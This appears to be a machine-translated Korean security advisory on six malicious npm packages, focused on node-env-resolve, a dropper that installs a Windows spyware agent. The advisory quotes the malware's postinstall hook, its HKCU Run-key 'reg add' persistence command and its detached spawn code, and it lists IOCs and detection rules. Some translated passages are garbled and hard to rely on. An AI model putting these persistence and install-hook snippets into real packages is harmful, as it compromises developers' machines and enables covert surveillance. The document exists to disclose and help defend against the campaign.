DevTap npm 타이포스쿼팅 공격

DevTap npm 타이포스쿼팅 공격: 6개의 악성 패키지가 개발자 워크스테이션을 공격합니다

TL; DR

2026년 4월 1일부터 5월 3일 사이에 단일 npm 게시자가, user0001인증되지 않은 Gmail 주소로 등록됨 tanvisoul9@gmail.com의도적으로 평범하고 인프라 관련 이름처럼 들리는 이름을 가진 6개의 패키지를 조용히 출시했습니다. centralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtime예산 및 node-env-resolve.

최신 두 버전 node-env-resolve1.0.7 및 1.0.8 버전은 5월 2일 Xygeni의 악성코드 조기경보(MEW) 시스템에 의해 악성코드로 감지되었으며, 5월 3일 악성코드임이 확인되었습니다.

이 임플란트는 없는 것 때문에 특이합니다. 텔레그램 봇도 없고, OAST 콜백도 없고, 그 외 아무것도 없습니다. 난처설치 시 AWS 자격 증명을 탈취하려는 시도는 전혀 없습니다. 대신, postinstall.js HKCU 실행 키를 사용하여 Windows 부팅 지속성 항목을 심습니다. wscript.exe VBS 스텁을 대상으로 공격을 시작합니다. 그런 다음 마이크 캡처, 브라우저 기록 탈취, 스크린샷 촬영, 마우스/키보드 시뮬레이션을 위한 모듈을 묶는 분리된 Node.js 에이전트를 생성합니다.

우리는 이것을 클러스터라고 부릅니다. 데브탭키트를 설치한 후에는 개발자의 컴퓨터에서 실행 상태가 유지됩니다.

이 글을 작성하는 시점 기준으로 6개 패키지 모두 npm에 등록되어 있었습니다. 해당 패키지들을 레지스트리 악용 신고 채널에 제출했습니다. 삭제될 때까지 Defender는 해당 게시자의 설치를 모두 차단해야 합니다.

클러스터: 6개의 패키지, 하나의 출판사

출판사 계정 user0001 검증되지 않았습니다. 없습니다. SCM 인증 완료, 도메인에 연결된 이메일 없음, 이전 사용 내역 없음. Gmail 사용자 이름 tanvisoul9 해당 내용은 우리가 찾을 수 있는 다른 npm 게시자 기록에는 나타나지 않습니다.

이 여섯 개의 패키지는 모두 동일한 관리자를 명시하고, 동일한 계정에서 게시되었으며, 동일한 내용을 공유합니다. package.json 정형화된 문구입니다. 없습니다. repository, 아니 homepage, 아니요 description 한 줄보다 길다.

명명 전략이 흥미로운 부분입니다. 고전적인 의존성 혼동이나 타이포스쿼트(typosquat) 캠페인과는 달리, 이러한 이름들은 특정 업스트림 라이브러리를 겨냥하지 않습니다. 오히려 실제 라이브러리에 자연스럽게 녹아들도록 정교하게 설계되었습니다. package.json or npm ls 출력.

묶음처음 게시 됨최신 버전버전클러스터 내 역할
센트럴로거2026-04-01 12:46 UTC1.0.95, 1.0.5부터 1.0.9까지Cluster의 "로깅 유틸리티" 표지; 최초 공개
돔 유틸리티 라이트2026-04-14 07:36 UTC1.0.33일반 DOM 헬퍼 커버
노드페치라이트2026-04-19 10:22 UTC1.0.23node-fetch 계열을 모방합니다.
커넥터 에이전트2026-04-25 05:12 UTC1.0.01일반 명칭 "에이전트"
노드-gyp-런타임2026-04-25 05:17 UTC1.0.01네이티브 모듈 빌드 툴링을 모방합니다.
노드 환경 해결2026-04-25 05:21 UTC1.0.910, 1.0.0부터 1.0.9까지능동형 점적기; 완전 이식형

같은 이름 centralogger, node-fetch-lite예산 및 node-gyp-runtime 코드 검토 시 논란의 여지가 없어 보이도록 설계되었습니다. 마치 프로젝트의 의존성 트리에 이미 포함되어 있을 법한 것들처럼 들립니다.

새롭고 검증되지 않은 게시자와 누락된 저장소 링크가 결합되어 식별 가능한 패턴이 형성됩니다. 즉, 행위자가 마찰이 적은 이름을 레지스트리에 시드한 다음 중요한 이름을 빠르게 반복 수정하는 것입니다. 이 경우, node-env-resolve 8일 만에 10가지 버전을 받았습니다.

윈도우 개발자용 컴퓨터에 설치되는 항목

악의적인 체인 node-env-resolve:1.0.8 이 도구는 짧고 직관적이며, npm RAT치고는 이례적으로 기능이 풍부합니다.

설치 후: 지속성 및 분리된 에이전트

package.json 단일 설치 후크를 선언합니다.

{ "scripts": { "postinstall": "node postinstall.js" } }

postinstall.js 세 가지 일을 순서대로 합니다.

먼저, npm 트리 외부에 설치 디렉토리를 생성합니다. 경로는 스크립트 실행 중에 계산됩니다. INSTALL_DIR그런 다음 내부적으로 실행됩니다. execSync('npm install --production --silent ...') 내부에서 임플란트의 런타임 종속성을 가져옵니다. 이렇게 하면 에이전트가 수동으로 디스크의 특정 위치에 저장됩니다. node_modules 감사에서 발견되지 않을 것입니다.

둘째, VBS 실행 프로그램을 작성하고 부팅 시 영구 저장되도록 등록합니다.

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run \     /v ${AGENT_NAME} \     /t REG_SZ \     /d "wscript.exe \"${vbsPath}\"" /f

wscript.exe Windows Script Host는 Microsoft에서 서명한 바이너리로, 실행됩니다. .vbs 콘솔 창 없이 파일을 처리합니다. 즉, 사전 처리입니다.cis자동 실행 스텁에 선호되는 이유가 바로 여기에 있습니다.

또한 일치하는 항목도 있습니다. reg delete 내부 경로 src/index.js이는 임플란트가 시술자의 명령에 따라 깔끔하게 제거될 수 있도록 설계되었음을 시사합니다.

셋째, 분리된 자식 프로세스를 생성합니다.

spawn(node, [path.join(INSTALL_DIR, 'src/index.js')], {   detached: true,   env: { ...process.env, SERVER_URL } })

여기서 중요한 두 가지 사항이 있습니다.

SERVER_URL 환경 변수에서 읽어옵니다. 결과적으로 C2 엔드포인트는 배포별로 구성할 수 있으며 패키지에 고정되어 있지 않습니다. 이러한 작지만 의도적인 선택은 대부분의 정적 IOC 스윕을 무력화합니다.

또한, 생성된 자식 프로세스는 부모 프로세스의 환경을 완전히 상속받습니다. 따라서, 어떤 NPM_TOKEN, AWS_*, GITHUB_TOKEN또는 설치 시 개발자 셸에 존재하는 SSH 에이전트 소켓이 장기 실행 에이전트의 메모리로 이동합니다.

에이전트가 함께 배송하는 물품

번들로 제공되는 src/ tree는 이름만 봐도 내용을 짐작할 수 있는 세 개의 모듈로 구성되어 있습니다. audioCapture.js, browserHistory.js예산 및 systemInfo.js.

스테이징 중에 해결되는 런타임 종속성 목록 npm install이는 그들의 주장을 뒷받침합니다.

이러한 접근 방식은 혼란스러운 사건을 통제된 대응으로 바꿔줍니다.

맹목적으로 반응하는 대신, 팀은 다음과 같은 것을 염두에 두고 운영합니다. 명확한 우선순위 설정 및 신속한 문제 해결.

의존이 맥락에서 그것의 용도는 무엇인가
스크린샷-데스크톱주기적인 화면 캡처
@nut-tree-fork/nut-js마우스 및 키보드 자동화/입력 시뮬레이션
더 나은 sqlite3Chrome, Edge, Firefox의 기록 SQLite 데이터베이스를 직접 읽기
adm-zip탈출 전 수집된 유물들을 묶음 처리
날카로운스크린샷 및 이미지 왜곡 현상 크기 조정/압축
socket.io-client지속적인 양방향 C2 채널
노드 머신 ID피해자 추적을 위한 안정적인 호스트별 지문

systemInfo.js 통화 os.networkInterfaces() 첫 번째 비콘 전송 전에 추가 지문 인식을 위해.

오디오 캡처가 가장 중요한 신호인 이유

MEW에서 분류하는 대부분의 npm RAT는 설치 시 비밀 키 탈취 단계에서 멈춥니다. 이들은 다음을 읽습니다. ~/.npmrc읽기 ~/.aws/credentials긁어내다 process.env웹훅에 POST 요청을 보내고 종료합니다. 이는 단기적인 이익만을 챙길 수 있는 경제 모델에 적합합니다. 자격 증명은 수명이 짧기 때문에 공격자는 신속하게 수익을 창출해야 합니다.

node-env-resolve 모양이 다릅니다.

재부팅 후에도 데이터가 유지되도록 설정되어 있습니다. 에이전트는 독립적으로 장시간 실행됩니다. wscript.exe이 키트는 개발자 컴퓨터에 상주하도록 설계된 것이지, 가져가서 두고 가는 용도가 아닙니다. 마이크 녹음기, 키보드/마우스 드라이버, 전체 브라우저 기록 수집, 화면 캡처, 그리고 구성 가능한 C2 서버와의 상호 작용 소켓.IO 채널이 포함되어 있습니다.

특히 마이크 캡처는 이 캠페인이 대부분의 npm 악성코드와 달리 넘어서는 선입니다.

개발자 워크스테이션은 점점 더 개발자들이 스탠드업 미팅, 고객 통화, 디자인 토론, 온콜 회의 등을 진행하는 장소로 활용되고 있습니다. 마이크를 녹음하는 장치는 개발자의 npm 토큰을 노리는 것이 아니라, 개발자가 노트북 앞에서 하는 말을 녹음하려는 것입니다.

그러한 기능 세트와 더불어 난독화 기법의 부재, 그리고 설치 시 눈에 띄는 데이터 유출 행위의 부재는, 기회주의적인 자격 증명 탈취보다는 표적 접근을 위한 사전 준비로 해석될 수 있습니다.

우리는 이것만으로 귀속을 주장하는 것이 아닙니다. 우리는 운영 프로필을 기록하는 것뿐입니다.

npm 타이포스쿼팅 공격 - DevTab

8일 주기의 반복 작업 node-env-resolve 이는 타임라인에서 가장 실질적인 정보를 제공하는 세부 사항입니다.

이는 일회성 배포가 아닙니다. 게시자는 드로퍼를 적극적으로 관리하고 있으며, 이는 일반적으로 다음 두 가지 중 하나를 의미합니다. 광범위한 배포 전에 테스트 환경에서 드로퍼를 최적화하고 있거나, 이미 설치 관련 원격 측정 데이터를 수집하여 이에 대응하고 있다는 것입니다.

나머지 다섯 개 패키지는 최초 게시 이후 사실상 변경 사항이 없었습니다. 이는 엔지니어링 노력이 실제 작업을 수행하는 패키지에 집중되는 동안 지원 클러스터에 대해서는 "한 번 스테이징하고 이름을 그대로 유지"하는 패턴에 부합합니다.

출처: 단서가 부족하고, 확실한 결론은 나지 않았다

공공 영역 OSINT 신호는 미약하므로, 우리는 그것을 늘리려 하지 않을 것입니다. 관찰 가능한 것은 다음과 같습니다.

Gmail 계정 tanvisoul9 남아시아 이름 중 하나인 "탄비"와 부분적으로 유사합니다. 하지만 이는 약한 단서일 뿐입니다. Gmail 아이디는 신원을 나타내는 것이 아니며, 뒤따르는 이름도 마찬가지입니다. soul9 일반적인 정보입니다. 이메일의 지역 번호만으로 지리적 위치를 추론하는 것은 안전하지 않습니다.

코드 스타일은 특별할 것 없습니다. Node.js입니다. standard 라이브러리 호출과 같은 것들 os, child_process, spawn예산 및 reg add코드에는 난독화, 문자열 순환, 디버깅 방지 로직이 없습니다. 작성자는 윈도우 레지스트리 기본 요소와 분리된 자식 프로세스 오케스트레이션에 능숙하지만, 그럴듯하게 사용할 수 있는 더 은밀한 기법을 시도하는 모습은 보이지 않습니다.

필요한 종속성은 모두 시중에서 쉽게 구할 수 있고 잘 알려진 것들입니다. screenshot-desktop, nut-js, better-sqlite3예산 및 socket.io-client사용자 정의 프로토콜도 없고, 처음부터 새로 개발한 C2 스택도 없으며, 교과서에 나오는 것 이상의 새로운 영구 저장 기법도 없습니다. HKCU 실행 키이 사람은 유능한 시스템 통합 전문가이지, 도구 개발자는 아닙니다.

공개된 결과물 내에서 영어 이외의 문자열, 내장된 주석, 로케일 데이터 또는 컴파일러 출력 시간대 정보는 발견되지 않았습니다.

저희는 이미 추적 중인 이전 캠페인과의 코드 중복 여부를 확인했습니다. 여기에는 다음이 포함됩니다. 샤이후루드, 올리비온Buildkite, 그리고 최근의 heibai / claude-code-best Anthropic-CLI 클론 제품군을 찾아보았지만, 공통된 C2 패턴, 파일 레이아웃, 관용구 등에서 공통점을 발견하지 못했습니다.

우리가 절대 말하지 않을 것은 이것이 국가 기관이거나, 알려진 단체이거나, 특정 국가와 지리적으로 연관되어 있다는 것입니다.

운영 프로필은 개발자 워크스테이션 감시를 수행하는 소규모의 중간 수준 숙련도를 가진 팀의 모습과 일치합니다. 접근 권한을 활용한 후속 사용을 통한 금전적 동기가 있을 가능성이 높지만, 별도의 구매자를 위한 정찰 서비스 제공 목적일 수도 있습니다.

두 가지 간접적인 근거가 이를 뒷받침합니다. 첫째, 텔레그램 봇과 같이 클러스터를 빠르게 소모시킬 수 있는 눈길을 끄는 데이터 유출 방식을 피해야 한다는 것입니다. oastify.com또는 카나리 토큰, 그리고 의도적으로 평범한 패키지 이름은 단기간의 대량 설치 급증보다는 꾸준한 장기 설치를 유도합니다.

침해 및 탐지 지표

패키지 및 게시자
분야가치관
npm 게시자user0001
출판사 이메일tanvisoul9@gmail.com, 인증되지 않음
패키지centralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtime, node-env-resolve
악성 행위로 확인됨node-env-resolve@1.0.7, node-env-resolve@1.0.8
호스트 아티팩트
타입가치관
지속성 키HKCU\소프트웨어\Microsoft\Windows\현재 버전\실행
지속성 값변수 이름; wscript.exe 형식의 데이터 " \\ .vbs"
설치 후크postinstall: 패키지 매니페스트의 node postinstall.js
임플란트 모듈src/audioCapture.js, src/browserHistory.js, src/systemInfo.js
스테이징 디렉토리INSTALL_DIR이 프로젝트의 node_modules 외부에서 해석되었습니다. 위치는 설치 시 postinstall.js에 의해 설정됩니다.
네트워크
타입가치관
C2 수송socket.io-client, 지속적인 양방향 채널
C2 엔드포인트SERVER_URL 환경 변수를 통해 에이전트에 제공되며, 게시된 아티팩트에 하드코딩되어 있지 않습니다.

탐지 노트

두 가지 규칙으로 C2 엔드포인트 없이도 이 패밀리를 포착할 수 있습니다.

첫째, 내부 작업을 수행하는 설치 후 스크립트에 플래그를 지정합니다. npm install 패키지 자체 디렉토리 외부 경로로 이동합니다. 정식으로 출시된 사전 빌드 다운로더(예: ...)를 사용하면 됩니다. node-gyp 재구축 또는 사전 빌드된 바이너리 다운로더는 패키지 내부 또는 플랫폼에 기록합니다.standard 검증된 해시값을 사용하여 캐시 경로를 저장합니다. 새로 생성된 캐시에는 기록하지 않습니다. INSTALL_DIR 디스크의 다른 위치에 있습니다.

둘째, 다음 명령을 실행하는 postinstall 스크립트에 플래그를 지정합니다. reg add HKCU\…\Runwscript.exe 런처로 사용되는 경우입니다. 이는 npm 패키지에서 합법적으로 배포되는 것이 아닙니다. 해당 패키지를 신고하고 격리하십시오.

세 번째 휴리스틱은 확정되기 전에 다음 형제 패키지를 발견하는 데 유용합니다. 즉, 아무런 정보가 없는 새로운 npm 게시자를 찾는 것입니다. SCM 인증, Gmail 이메일, 아니요 repository 해당 분야에서, 그리고 짧고 일반적이며 인프라처럼 들리는 패키지 이름이 며칠 간격으로 여러 개 게시된 것만으로도 수동 검토가 필요할 만큼 충분합니다.

npm 레지스트리에 신고되었습니다. 게시자 계정이 삭제되면 이 게시물을 업데이트하겠습니다.

sca-tools-software-composition-analysis-tools
소프트웨어 위험을 우선순위화하고, 해결하고, 보호하십시오.
무료 계정을 만드세요.
신용 카드가 필요하지 않습니다.

소프트웨어 개발 및 제공을 안전하게 보호하세요

Xygeni 제품군과 함께